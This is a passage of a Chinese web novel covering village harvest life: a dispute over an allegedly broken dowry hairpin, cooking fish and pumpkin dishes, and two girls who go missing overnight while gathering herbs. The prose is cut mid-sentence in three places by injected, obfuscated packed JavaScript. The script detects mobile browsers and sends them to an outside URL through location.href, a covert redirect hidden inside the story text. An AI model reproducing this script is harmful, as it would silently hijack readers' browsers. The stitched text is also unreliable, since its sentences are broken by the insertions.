陆琼给每人桌上装了碗鱼豆腐汤，一共四碗，不过快到晌午了，还不见离姐儿回来。 “听说后山有一片长满了枣，估计是跟人打枣去了。” 虞娘舀水到锅里，用丝瓜瓤围着锅壁刷，带下一层油污，嘴里小声喃喃：“自家种的柿子不吃，非要到外头弄一身泥……” 很小的时候，虞娘便带着离姐儿在这边生活。 起初这个院子很荒废，她便把离姐儿用布巾裹着，背在身上，然后用锄头一点点把院子打理出来。 后来种下这颗柿子树，又开始一年年盼望着。等离姐儿撒腿满地跑时，柿子树也开始结果了，她便是守在院里，吃着这儿的脆柿子长大的。 可后来总是跑外头去，山上的梨，溪边的桑葚，即便长得歪七扭八，也会觉得比院里的香。 等到夏天，离姐儿便会跟同村的到溪边淌水，每次回家衣裳都是湿的，虽说捉了不少小虾小鱼，却还是逃不过虞娘一顿骂，可嘴上说得再狠，又舍不得打一下。 如今她再也不会弄脏衣裳了，可也不会跟在虞娘身后边，眼巴巴地等柿子吃了。 虞娘把锅里的污水倒了，灶台擦一遍，没烧完的柴火洒点水，“刺啦”一声便灭了，徒留下一缕炊烟。 这鱼豆腐汤鲜香嫩滑，还淋了一些蛋液，全浮在汤面上，最后撒上一层葱花提鲜。 “鱼是瘸腿李提来的，也不知从哪买的，足足有两斤重。”虞娘就着碗边喝一口汤。 陆琼夹一筷茄子放在饭上，拌均匀，饭便全染上了红油，加了点碎肉沫，就着饭吃，一口下去，咸咸的，也香。 “李叔还卖着鱼呢？我以为这么累会不做下去。” 陆萱饿得慌，只会埋头吃，鼻尖都是汗，虞娘拿来一块干净的布，递给她。 “吃苦也总比挨饿好，你看萱姐儿，被你饿得跟好几日没吃饭似的。” 陆萱也点头，嘴里含着一块鱼肉也要附和一句：“我不要挨饿！” 陆琼：“……” 除了今日，她可有缺过一顿饭？ 算了，她干脆低头把碗里的饭都吃干净，擦擦嘴角的油，这一顿才是吃得舒爽。 一到秋天，地里的南瓜便熟了，虞娘用镰刀割断藤蔓，摘下一个个小南瓜，陆琼跟在后边用竹篮接住。 不过有些重，她废了不少劲才提起来。 虞娘弯着腰，一边走一边摘南瓜：“这些一块带走，切成块炒来吃，放粥里炖也成。” 在虞娘家蹭了不少吃的，陆琼便跟陆萱留下来帮忙晒谷子，正好虞娘家有好几顶斗笠，一人戴上一顶，跟着一起耙谷子。 因着虞娘家的地不多，便比别人早一天收完，如今再晒多半月，等谷子干了，就能脱壳。 直到谷子都翻了个遍，离姐儿才回来。 下午的太阳很大，虞娘眯着眼看向来人，是刘婆子一家人，还有不少村里人也跟着…… 早些年，刘婆子就是村里出了名的性子差，好撒泼，还爱跟人胡搅蛮缠，三天两天，不是跟人吵架，就是别人的作物碍她眼。 有一回还特意寻天最热的时候，带着一桶水把人家的地浇死了，被别人捉住了，就说是好心帮忙，便也不能拿她怎样。 虞娘家跟刘婆子没多大往来，倒是离姐儿跟她孙女江素有过交际。 不过这气势汹汹的，不会是什么好事。 一行人走到虞娘跟前，刘婆子还摆出一副可怜样，唉声叹气：“虞娘啊，你家离姐儿跟你就是一个模子刻出来的，手脚没个轻重，把我家素儿的嫁妆给摔烂了。” 说完还把江素手中的木盒子打开，粗糙的手取出半截金发簪，余下的一半还放在盒子里。 虞娘盯着断掉的簪子看，不知在想些什么。 见她不回应，往日话多的离姐儿也沉默着，不再看一眼虞娘，只是挺直了背：“才不是我弄坏的！它本就是坏的。” 陆琼也信她说的，先不说这般金贵的东西没放好，再就是簪子一摔就断？ 那这金子未免也太脆了…… 刘婆子一改往日的作风，反倒是苦口婆心道：“我也知道离姐儿不是故意的，但我家素儿过几日便要出嫁，这些都是人家给的聘礼，届时肯定是要一并带走的，可如今……唉。” 不知为何，这副模样叫人觉得不舒服。 跟她走得近的婶子唱白脸，说话不饶人，声音有些难听：“不必跟人说这些，既然摔坏了，赔钱就是了！” 其余人也附和着。 “是啊，过几日就出嫁了，如今碰上这事怎么说都不好。”这话是碎嘴的周二娘说的。 就连平日里跟虞娘关系不错的婶子也出来和稀泥：“虞娘，你赔钱这事便过去了……” 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15079165|157874||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >不说离姐儿跟虞娘，陆琼被众人这般围着也生出不适，可离姐儿只是倔，也不解释，虞娘更是看不透，一句话也不说。 而刘婆子见大家都站在自己这边，心里偷笑，却装作一脸愁。 “素儿那夫家是汴京人，前几日才叫人带的聘礼，猪肉五斤、羊肉也五斤，桂圆红枣、绸缎茶酒样样不差，金银手镯各一对，可就是这簪子最值钱了，还是素儿未来婆婆特意给的……” 谁也不知道江素的夫家如何，毕竟这年头流行厚嫁，聘礼、嫁妆就是倾家荡产也要凑齐。 可这簪子一瞧便知道不便宜…… 虞娘家是有点小钱，但要赔这簪子也得拿不少积蓄。 沉默许久，虞娘还是开口：“簪子要多少钱？” “不多，二十两就够了。”刘婆子笑着回话。 本来同行的人都是站在刘婆子这边的，但听到这么多钱都张大了嘴：“这么个簪子就值二十两？” 周二娘也睁大了眼，这要种多久地才能挣到二十两。 这下大家都有点眼红，知道江素的嫁妆值钱，可也没想到能值好几年的收成。 刘婆子也明显感觉到众人的眼神不大对劲，赶紧抱紧了怀里的簪子，生怕被人抢去了。 按理说这嫁妆是江素的，可她却一声不吭，全是刘婆子一人在说。 陆琼觉得这事有蹊跷，便叫陆萱把离姐儿带到屋子里，顺带把装有月饼的食盒拿出来。 “刘婆子，这也不是笔小钱，现在也拿不出来，不然缓两日再说。” 刘婆子听了自是不肯，眉头一皱，就要露出原本的性子，陆琼把她话给堵住，赶忙叫众人一块吃月饼。 “秋收大家都忙坏了，如今还要抽空来，也是辛苦，不妨先尝一块月饼。” 食盒揭开，露出精致小巧的月饼，每一个都印上“陆”字，不过他们不认字，只看到月饼外皮金黄，透出油光，远远就能闻到一股油酥味在四周散开来。 村里人一见着吃的，就忘了方才的事，毕竟对他们来说，看热闹只是一时的，吃才是天下第一大事。 很快全都围着陆琼一人，刘婆子跟江素孤零零地站在院子里吹冷风，没人理会。 “琼姐儿，这‘月饼’是什么？可是汴京里才有的？” 还剩下八九个月饼，陆琼挑了个烤得均匀的，用竹刀切成好几块，露出淡黄的莲蓉：“倒也不是在汴京才有，这是我自己做的。” “这能好吃不？” 说这话的人倒不是有恶意，而是没见过这类吃食，觉得新鲜。 周二娘早先便尝过这滋味，如今也舔了下嘴角：“这月饼好吃极了，不仅像，还甜！” 听她一讲，多少有些信了，但还是要尝过才知道。 “琼姐儿，你这月饼怎么做的，这是放了多少油？”说话的婶子嘴可挑，见她尝了不少，便知道味道不错。 陆琼只说要用许多油跟糖，没把做月饼的配方说出来，不过他们听到要用这般多料，全都摇头了。 真败家！这些油跟糖都够一大家子吃上半月了。 也有人觉得她这是有钱了，便开始问摆摊的事。 陆琼笑着解释：“汴京里有街道司，若是要去摆摊还得先交钱。” “还得交钱？那还是算了，若是挣不到钱岂不是亏了。” 其他人也是这般想，觉得陆琼如今是打脸充胖子，定是挣不到钱才回来。不过他们吃完月饼便散了，毕竟地里还有不少活，陆琼也才得空找离姐儿问清怎么回事。 “这簪子真是你摔坏的？” 40. 捉鱼儿 离开前，虞娘还给了一蓝子菜，有方才摘的南瓜、几根红薯、几把菘菜、半袋米和面，陆琼不好白拿，便在桌上留了一小块碎银子。 回家放好菜，她便打算带着陆萱跟山脚下的樵夫周买些柴。 他跟原身父母交情不浅，陆琼一向都是叫他周叔，往常过节也会有往来，不过今儿的月饼全分完了，只能空手来。 樵夫周一人住在这，平日除了上山打柴，便是到河边网鱼，如今家里还摆了自己做的罩子、罾网，散发着一股很淡的鱼腥味，不仔细闻也发觉不了。 陆琼看上了院子里摆的小鱼篓，指着墙角问：“周叔，这鱼篓能卖给我不？” 樵夫周脸上有道疤，皮肤也因常年风吹日晒而变得粗糙，迟疑了下才开口：“你要这篓子做何？” “捞鱼去。”陆琼不好意思笑。 樵夫周听着话皱眉，径直走到墙角，把这鱼篓提起来：“一个破篓子不值钱，你就拿去。” 陆琼本不好意思，可周叔不肯要钱，脾气一上来，连声音都变高了：“你要是这样，我就不卖柴给你。” 怕他真的不给柴，陆琼便收下了：“那谢谢周叔了，下回给你带吃的。” 一捆柴有些重，樵夫周便低头用手搓的麻绳绑起来，嘴里小声碎碎念：“都瘦成竿子了，还给我带吃的，不把自己饿死算好，这要是叫他们知道了，又得担心死……” 陆琼没听见他在说些什么，走在前边抬，而陆萱在后边拖起来，鱼篓也用绳子挂在腰间。 临走前还跟樵夫周笑着告别：“周叔，我们走啦！” 樵夫周一脸平淡，却也目送她们离去。 陆琼蹲在地上，这些柴樵夫周已经处理好，都劈成几块，如今都堆在灶台边。 可原先的柴受潮了，如今还没干，若是直接点着容易冒烟，扔了吧还怪心疼的。她想了想还是决定把这些搬到院子里，正好这几日都是晴天，晾晾应当也能用。 回到灶房，就见陆萱盯着竹筐里的南瓜看，手指划过瓜皮的纹路，轻轻皱眉头，还叹了声气。 陆琼把南瓜取出来，选南瓜跟挑西瓜一样，瓜熟不熟拍一声便知，声音闷响就是比较熟的。其实南瓜通风放几日会更甜，不过现下她们也没这个时间。 见陆萱还在不停叹气，许是在担心离姐儿，她便打趣道：“皱眉头可是要变成小老头！” 陆萱双手撑着下巴，随意应付一句：“也不知道雪儿在汴京如何了？从未离开他这般久。” 陆琼也知道这是个借口，但还是安慰：“你是在担心这事？不过雪儿在金娘那定不会出事，还提前备好不少吃的，饿不着。若是担心，那我们后日便回去。” 方才离姐儿也解释了当时的情形，算是好心办坏事。 江素在村里人缘好，离姐儿想着日后很难见面，便买了份糕点带过去，顺道看能不能帮上忙，谁知会不小心碰上放在桌上的木盒子。 这盒子的锁扣摔坏了，金簪子也掉在地上，还成了两半。 不过离姐儿认为簪子本来就是坏的，可惜没有证据，还攀上刘婆子这样的人，也只能认栽。 虞娘也打算把这钱赔了，不然怕会连累离姐儿日后的名声，只是这钱太多了，一下子很难出来。 她们也帮不上忙，留在那也是碍事，便提早回来。 怕陆萱被这事影响到，陆琼抱着南瓜起身，顺手放在一旁的桌上：“你去院子里打些水，待会做南瓜粥，正好你也念叨很久了。” 一有事做，陆萱也很快忘记这些烦心事。 南瓜粥很衬秋天，无论是金黄的颜色，还是暖和的口感，做起来也简单。依陆琼看来，这绝对算是秋天的第一碗粥。 还剩了一小半的南瓜，她也去皮切成块，放锅上蒸，熟了后打成泥，加糖跟面粉一起肉成团，再分成小剂子。 陆萱也在一旁帮忙，就是南瓜泥太烫了，只好一边呵气，一边揉。 见她这副模样，陆琼也憋着笑。 去年秋天，她们也在院子里种了南瓜。摘下的第一个也会做成南瓜饼，在锅里下油煎，做成的南瓜饼外酥里嫩，味道香甜，咬下去里边很烫，却也很软糯，不会腻。 不止是陆琼家，别处也升起了缕缕炊烟。 “灶台里的柴灭了！这粥熬过火了。” 趁着黄昏还有一点光亮，刘婆子便搬了张矮凳，坐在院子里编竹篓，一不小心，锋利的竹条划过指尖，很快就出了血。 “唉哟，这破竹子……” 江素听这动静，赶忙从灶房出来，握着她的手仔细端详，轻声说：“阿奶，要不还是点盏灯，天太暗了。” 刘婆子抽开手，皱眉头：“点灯不用钱啊？还有那南瓜粥好了没，别糊了给浪费了。” 江素知道她性子向来是这般，便也没放在心上，扯了一块布条，给刘婆子的手包上。 “我一直看着火，方才就好了。” 刘婆子未说出口的话被堵住了，顿时哑言，只好找别的事。 她把脚边的竹编都踢到一边去，又见江素一副百依百顺的模样，没好气道：“你明日去把那钱要回来，别让她们赖了。” 说的就是今儿在虞娘那的事。 江素低着头，不敢对上刘婆子刻薄的眼神：“可这簪子明明就是坏的……” 而且也不是什么聘礼，是她逝去的娘留下的嫁妆，以前就弄断了。 刘婆子捂着胸口，一副喘不过气的模样，对着天哭：“我也是老了，说不动你了？你娘身子不好走得早，我托人给你寻了门好亲事，没几日就要出嫁，家里头就剩我跟你弟，不留点钱以后还怎么活？” 一提起她娘，江素便没法子，心里也觉得陆萱是无辜的，不应该牵连进来，只好咬着唇，不说话。 刘婆子见她沉默，也知道是有些动摇，便小声哭：“当初你娘下葬，可是我扯着一个脸皮子跟人一家家借的，如今还没还上……” “命苦啊我……” 虽然刘婆子在村里没有好名声，但对江素来说，却是最亲近的人，她心里也是放不下刘婆子的。 最终江素还是妥协了，叹一声，无力地道：“这事明日再说，先吃粥，不然就快凉了。” 这话简直是良药，刘婆子瞬间不哭了，气也顺了，拍拍裤脚就到灶房去，也不怕烫，徒手就去揭锅，迫不及待盛一碗粥放凉。 原先还担心她的江素：“……” …… ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15085662|157874||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 秋收这几日，天也凉下来，陆琼带回来的被褥太薄了，结果半夜被冷醒，只好翻出从前的厚被子来。 有一股味儿。 不过眼下也只能凑合。 陆琼搬了一床被褥到隔壁睡房，陆萱也冷得直哆嗦，加了一层被子才好些。 入秋后，离冬天也不远了，等回去汴京还得置办些新被褥、厚衣物，不然这个冬天没法过。 次日天刚亮，陆琼便被邻家的鸡鸣叫醒。 昨夜两人说好要去河边捕鱼，陆萱也早早起来了，套着外衫一脸兴奋地去井里打水。 她刚要洗漱，便被这水冷到发颤：“阿姐，这水好凉。” “这几日天冷，等回到汴京，我们还要去买过冬的衣裳。” 陆萱额上的刘海湿了不少，听这话龇着牙笑：“那我要买新袄子，还要填满芦花。” 芦花？ 陆琼笑她没出息：“给你买最好的棉衣，用得可是别处运来的棉花。” 陆萱有些疑惑：“比芦花还暖和吗？” 寻常人家过冬用的都是干稻草，再好一点的便是芦花，她从未听过棉花。 陆琼拨开她的刘海，露出光洁的额头，笑着点头：“自是，等你见了便知。” 很快陆萱也不再纠结，把鱼篓系在腰间，便走去河边，路上还一蹦一跳。 各家田地都在收谷子，只有她们还能得空去捉鱼。上元村的河水不深，赤脚下去，也才没过膝盖，这水很清澈，水下的石头都看得一干二净。 陆萱在别人地里挖了点蚯蚓，全装在小竹筒里，取一点放在鱼篓里，便把篓子放进水里。 怕鱼篓被水冲走，陆琼还找了一个大石头，用草绳把石头跟鱼篓绑在一起。 捉鱼也有技巧，选的时间也要巧妙，一般是早上或是黄昏时容易捉到鱼，若是选在正午去，天太热，鱼儿不会出来，只会躲在阴凉处。 如今便是正好。 “有鱼儿了！”陆萱等了好半天，才看到一条鱼，忍不住大声些。 结果鱼儿受了惊吓，跑了。 “啊，又跑了……” “嘘！” 鱼儿还没游走，陆琼便直接用鱼篓网住它，有些沉，费了点劲才把篓子从水里提上来，一脸“慈祥”地看着这鱼：“这下午饭有着落了！” 陆萱扒在鱼篓边看，结果被扑棱的鱼甩了一脸水，皱着眉嫌弃地跑远了。 陆琼看她比自己还要狼狈，笑得更欢了。 两人沿着原先的路走回去，正聊着这鱼是清蒸还是红烧，或者是炖汤，便看见了江素蹲在河边洗衣裳。 她好似洗完了，提着竹篓要起身，跟陆琼二人对视上还有些不自在，很快便避开她们，往另一个方向走去。 不过陆琼二人也没把这当回事，毕竟如今的要事是满足口腹之欲。 临近晌午，许多人都下完地，打算往家里赶，碰上陆琼她们，还能聊上几句。直到快到家，二人还因为鱼儿的做法争执起来。 “炖汤好……” 陆琼不赞同：“还是红烧吧，昨日才吃过鱼汤。” 说完没得到陆萱回应，一扭头才发觉离姐儿蹲在院子外。 好似眼圈还红着？ 41. 红烧鱼 离姐儿脸也晒得通红，陆琼赶紧把人叫进去，在桌上倒了一杯水：“下回直接进院子，别傻站在外头。” 许是等了不少时候，离姐儿接过水便咕咚喝下去，喝急了下巴还流了一滴，落在衣摆上，布料也深了一片。 见她几次给陆萱使眼色，也知道二人是有话要讲，陆琼便寻了一个借口：“你们进屋聊，我去灶房做饭。” 这话跟圣旨似的，刚说完两人就撒腿跑进屋，还把房门关上了。 不过两人聊会儿也能轻松些。 鱼篓还搁在灶房里，这鱼儿有一阵子没碰水，如今也有些焉，只有腮帮子还一鼓一鼓的。 怕死了不新鲜，陆琼便放水里养着，结果刚碰水，鱼尾就摆起来。 这鱼难不成是成精了？ 不过也难逃被红烧的命运，姑且就让它多游几下。 昨日虞娘给的菜还剩了把菘菜，今儿正好一块煮了，一道红烧鱼，一道水煮菜，也算是荤素均有。 用惯了汴京的灶头，回来也有些不适应，可毕竟是住了好几年的屋子，没多久便习惯了，那熟悉的手感，好似从未离开过一般。 红烧鱼也不好做，前期准备工作繁杂，处理鱼、划几道口子、撒上几搓盐、姜片，最后全身抹一遍黄酒。 粗糙的颗粒感印在掌心，酒的味道也散开来，叫陆琼闻得晕乎乎的，不过也更期待鱼的滋味。 锅里热着油，嗞嗞冒出响声，还弹出几滴油。 趁着油热，陆琼也把鱼倒进去，很快接触锅壁的那一面就煎得金黄，最后再撒上余下的调料，加半碗水，只要熬至汤汁浓稠便好。 许是闻到香味，陆萱也跑进灶房看，两手扒在门框上，探出头来，皱着鼻子，像只贪吃的小狗：“阿姐，好香啊，还要多久能吃？” 也许是她太过可爱，陆琼只是见到便忍不住笑出声，把灶口里的柴减去一根：“再等等，就快好了。” 不过离姐儿哪去了？ 听这话，陆萱避开视线，揪着门框上的木刺：“离姐儿回家去了。” 陆琼也没当回事，毕竟两家也隔得不远，如今回去正好赶上用午食。 红烧鱼多炖了会儿，汁水便吸走不少，不过也更加香，她用筷子戳一块鱼肉，汤汁便顺势流入白嫩的鱼肉里，看着便很有食欲。 放的调料足，陆萱也吃了大半碗饭，嘴边还沾着一粒米，随着她说话一动一动：“阿姐，我们在这多待几日吧。” 陆琼挑走一根鱼刺：“怎么突然说这事？昨日不还想念雪儿来着。” 陆萱被问倒了，支支吾吾半天回不上话，只是埋头吃鱼肉。 怕她被鱼刺呛到，陆琼也不为难她：“那便再多待一天，不然这铺子就要易主了。” 得了允诺，陆萱脸上才挂着笑，安心吃起饭来。 饭后陆萱又跑走了，陆琼在家闲着无事干，便把家里的被褥带到院子去晒，贴着被褥还闻到一股暖洋洋的味道。 在汴京就没有停下过，如今闲下来，她便觉得浑身不舒服，便又去别家串门，聊聊家常，还顺回来一些果子，几个鸡蛋。 吃过晚食，陆琼跟陆萱又在村口溜达，毕竟在上元村可没有丰富的“夜生活”，一到点，家家户户也都灭灯休息。 正当夜深人静，陆家院子却传来动静。 “阿离姐？” 陆萱背着背篓，提着绣鞋往院子走，路上黑灯瞎火，只有月光还有点光亮。 离姐儿没回声，只把人拉过来，还压着嗓音：“小声些，别把你姐吵醒了。” “东西都拿齐了？” 陆萱点头：“备齐了。” 离姐儿在前边带路：“那走吧，我知道一条近道。” …… 晒过的被子有一股令人安心的味道，陆琼缩在被窝里，睡得正香，忽地听见一阵动静。 咚咚—— “开开门，离姐儿在你这不？” 这是虞娘的声音？ 她迷迷糊糊睁开眼，屋子里还暗着，只有窗边还透着一丝光。可外边还在拍着门，便也顾不得别的，匆匆穿上鞋便去开门。 头次见虞娘这么着急，也不知出什么事了。 “离姐儿呢？” 见陆琼出来，虞娘握着她的手，便要闯进屋子，一边找人。 陆琼才发觉事情不简单：“离姐儿没回去？” 虞娘虽然语气激动，说话还是清晰的：“下午跟萱姐儿一块出去后，傍晚才回来。这几日累我便早早歇下，起夜的时候想着离姐儿会着凉，就去看一眼，谁知人不见了。” 被她这么一说，陆琼也发觉家里少了个人，不只是离姐儿，陆萱也不知道跑哪去了。 大半夜的能上哪去？ 黑灯瞎火，若是不小心掉进河里，那可怎么办？ 两人越想，心里就越不安。 陆琼也坐不住，干脆翻出家里的油灯，是用铁制成的，价钱不高，如今还剩了点油，估摸能撑到天亮。 两人分头找，虞娘去离姐儿常去的地方，陆琼就沿着河边找。 走到山脚下，还惊动了樵夫周，听到陆萱不见了，还气得说一长串话：“净会瞎跑，又是去河边捞鱼，又是便也离家出走，一天天都叫人操心。” 带头去下河捞鱼的陆琼一声不吭，只敢站在一旁。 到底还是担心人，樵夫周便寻了个木棍，在粗的一头绑上布条，还抹了点油，这样能烧得久。 一直到天亮，还没见到两人的身影。 这下村里人也有不少跟着找，有些实在没空，毕竟秋收就忙不过来。 村里市集开得早，江素起床便去买菜，还跟一位婶子买了点肉，打算回去跟别的菜一起炒。 刚付完钱，便听见旁人在聊天：“昨晚离姐儿离家出走了？” “陆家小女也跟着不见了……” 剩下的话江素还没听完，便立刻回去，连装菜的蓝子还没来得及放下，便拉着刘婆子的衣袖。 “会不会是因为簪子的事？若是两人出事了可怎么办？” 刘婆子“呸”一声，斜眼看她：“说什么呢？这是跟你没关，别多管闲事，赶紧把肉洗了。” 这下江素也对她这反应失望了，不管刘婆子怎么说，冲进灶房把竹篮放在桌上，随后又跑了出去。 “这都什么事……” 刘婆子把先前剩下的竹编拿出来，刚编了一会儿，又划在手指上，就在原先的伤口旁。 不过她也只是皱了下眉，继续往下编。 可怎么也编不好，心烦。 刘婆子叹口气，把未编完的竹篓放在 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15087793|157874||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 一方，把锁住的木柜打开，里边都是些调料和食材。 盛出一碗米、两勺盐、半勺猪油，猪肉也切出一小块，剩下的都放回柜子里，还不忘上锁。 刘婆子往外喊：“江笙，等会儿喂完鸡，把院里的叶子扫一扫，要是我们没回来，自己煮粥喝，放点肉去，调料都给你放桌上了。” 收拾好一切，她也跟着出门。 …… 从陆家离开后，离姐儿跟陆萱两人便沿着小路上山，准备去寻一些草药，等采完就拿到汴京去换钱。 这山不高，只是小山坡，借着月光也能勉强看清路。等到了分岔路口，离姐儿也不确定走哪条。 陆萱一时后悔跟着跑出来，苦着脸：“我们这是要迷路了？” 又困又累，若是没跟来，这会儿还在暖和的被窝里躺着。 夜晚的风有点大，吹得旁边的树叶哗哗响，听得陆萱也跟着发抖，抱着自己胳膊缩在一边。 离姐儿叫她别担心，陆萱还以为能有什么法子，就见她找了块石头，抛向空中，尖的那头指向右边：“就走这边。” 陆萱：“……” 上了贼船便不能下去，只能认命跟在后边。 还真的阴差阳错，被她们找到一片林子，四周还长了几株眼熟的草药。 “白术……当归……” 陆萱一边碎碎念，一边寻找草药。 离姐儿不认识几种草药，主要还是靠陆萱，不然她今晚就自个儿来了。 见陆萱盯着一株瞧，便用胳膊肘碰了下她：“这是什么？不就是些野花……” “这好像是当归。”陆萱打断她。 附近可不止一株，离姐儿听得就差高兴地跳起来，赶紧蹲下跟着一块采，为了省时间，两人还用镰刀把整株都割下来。 陆萱总觉得不对劲，但说不上来。 等把这一片都割完，两人也都累了，本想着赶在天亮前回去，结果靠在大树下睡着了。 离姐儿是最先醒来的，还是被一阵刺眼的阳光照醒的，起初还没反应过来，等看清了周身环境，便推了推旁边睡得正香的陆萱：“快起来……” 陆萱还在梦呓：“阿姐，我想吃鱼……” 等彻底清醒时，两人都着急忙慌地下山，路上还蹭了不少泥。 下了山两人也不敢慢下来歇息，一路小跑到乡道，却碰见了刘婆子。 见到她，陆萱第一反应是躲起来，拉着离姐儿就要往别处跑，便听见刘婆子很大声叫住她们。 两人的心都颤了。 站在原地一动不动。 刘婆子也赶忙走过去，见两人衣裳除了脏一点，脸色还通红着，看起来并无大碍，才松口气。 想到自己找了她们一上午，心里又上了一股气，拉高了嗓音，好把两人训一顿：“你们半夜上哪去了，叫我这个老婆子好找。” 看起来就是个恶婆婆，训得离姐儿两人跟个呆木头似的。 情绪本来就紧绷着，还被刘婆子这么一吓，她们眼里便要闪出泪花。 见人眼圈一下就红了，刘婆子也被唬住了，只能虚张声势：“有什么好哭的……” 剩下的话也堵在嘴边，因为她见到虞娘正往这边赶，脸色看起来不太好。 而且后边还跟了一大群人…… 42. 红薯粥 不止是虞娘，还跟来了陆琼、樵夫周，就连其他村民也循声赶来。 见这么多人，刘婆子也后悔自己方才说这般大声。 樵夫周方才准备上山去寻人，便挂了把锋利的柴刀在腰间，被这日头一照，发出的光亮还险些闪瞎了刘婆子的眼。 加上他脸上那道疤，还有不容忽视的气场，刘婆子的气势都弱了一大截，毕竟在村里就数樵夫周最难惹。 刘婆子被他凶狠地盯着，胆子都跟着吓破了，只敢弱弱说一声：“这可不关我的事，我只是方才碰见了。” 最后还小声叨叨：“谁知她们还没聊几句便哭了……” 虞娘也不管她是怎么回事，毕竟离姐儿她们没事才是要紧事，上前摸着离姐儿的手，说不出一句话。 离姐儿有些心虚，一直低着头，一边又害怕她娘会责怪自己，还连累陆萱也跟着受罪。 不过虞娘只是将她全身上下仔细检查了遍，见只是衣裳弄脏了，没有任何伤口，才松口气。 眼眶倏地就红了，费劲了全身力气才说出一句话：“没事就好……没事就好。” 预想的责骂没有发生，离姐儿才敢抬起头，碰上虞娘湿润的眼眶，心里一惊，又难受又愧疚。细细一瞧，才发觉虞娘的脸色不好，眼底乌青更重了，也不知何时鬓角竟有了白发。 可她先前从未在意过…… 离姐儿吸吸鼻子，稳住气息，逐字逐句：“可是，我衣裳脏了，难洗。” 虞娘笑出声：“衣裳不难洗，从小到大已经洗过多少回了。” 离姐儿也想起自己过往的性子，也轻轻扬了扬嘴角。 而陆萱原以为自己阿姐也会这般，谁想把自己遭遇说出来到会遭受嘲笑…… 陆琼眼角溢出泪水，有些哭笑不得：“所以你们半夜去上山，就是为了把这些东西带回来？” 说完还嫌弃地挑拣出像样的“草”？ “当归，最重要的是它的根，你们把它的根留在土里，这是要做什么？” 陆萱也开始懊恼，难怪当初总觉得有些地方不对劲，却不知道为何。旁边的离姐儿更是遭受打击，不可置信地张大了嘴。 “夜袭后山”竟然拿了些用不上的东西回来，还出动整个村子的人找。 真丢人…… 本来还很紧张的氛围，被这一笑笑没了。 周二娘也跟着找了一上午，得知俩孩子没事也能开得起玩笑：“哎呦，你们可要叫全村人笑话哩。” 不过也叫离姐儿跟陆萱放松了些。 想着一夜未归，两人在外也没法弄吃的，陆琼便问她们：“饿不饿？困不困？” 离姐儿这会儿正愧疚着，还好面子，便腆着脸摇头：“不饿……” 才说完，肚子便顺势咕咕叫…… “哈哈哈。”又惹得众人捧腹大笑。 就连虞娘也是一脸哭笑不得，却也很无奈，拍下离姐儿肩上的枯叶：“那我们回家去，给你做好吃的。” 离姐儿红着脸，轻轻点头，“嗯”一声，声若蚊蝇。 看热闹的人跟着散了，也赶着回家做饭去，耽误了一上午，下午也要做更多农活。 方才众人的谈话，刘婆子都在场，一直拧着眉，直到他们散去，才叹一声赶回去。江素在一旁看得一清二楚，不明白她在纠结什么，喃喃道：“这又是何苦？” …… 回去路上，陆琼觉得是自己过去太过纵容陆萱了，该给她一个教训，竟敢离家出走！ 可怜陆萱尚不知晓，回来便去换了身衣裳。陆琼想清一切，便跑到灶房去烧水，洗热水也能缓缓紧张的情绪。又到灶台点柴，生火，往锅里放米、盐、水，还有半截红薯。 时间紧迫，只能将就填填肚子。 说起来，她才是最累的人，没睡好便找了一夜，毕竟陆萱她们好歹还在山里睡了。 不过这两人也是心大，荒郊野岭也能睡着，也不怕野兽侵袭，若是运气不好……真不敢往下想。 炉子里的水比粥还快沸，陆琼用湿布巾搭在把手上，倒在桶里，叫陆萱提过去洗洗脸。 “你这绣鞋成什么样了……” 陆琼用食指把她的鞋拎起来，一脸嫌弃：“这是在汴京买的鞋，原本是碧青色，如今都是土了，你这是用鞋来采药了？” 陆萱把脸打湿，一副听不清的样子，这是要装聋作哑呢。 陆琼想起自己还没训她，摆起脸色来：“下月的零钱都没了。” 还没说完，陆萱便抬头打断：“可是……” 从上月起，陆琼隔几日便会给陆萱十文做零钱，每回都是到手就花光，有点钱全买吃的去了，还总觉得外头小摊比陆记的糕点好吃。 陆琼坚决：“没有可是，你今天只是运气好，若是在山上遇上毒蛇，你就回不来了。” 毕竟原身的爹便是这样去世的。 陆萱也自知闯祸了，不敢再反驳一句，默默擦干脸上的水渍，把剩下的污水倒在院子里。 等她回来时，陆琼已经把煮好的红薯粥盛出来放凉。 新鲜出炉还冒着热气，一直散发出香甜的味道。陆萱的味蕾也很快被唤醒，屁股刚挨上板凳便拿起勺子盛一口送倒嘴边。 眯起了眼，长叹一声：“好好吃……” 陆琼怕红薯太少不够甜，还加了点糖，如今味道正好，软糯的红薯、暖暖的粥，吃进去瞬间觉得被填满了。 两人才吃掉一碗，便听见院子里有声响。 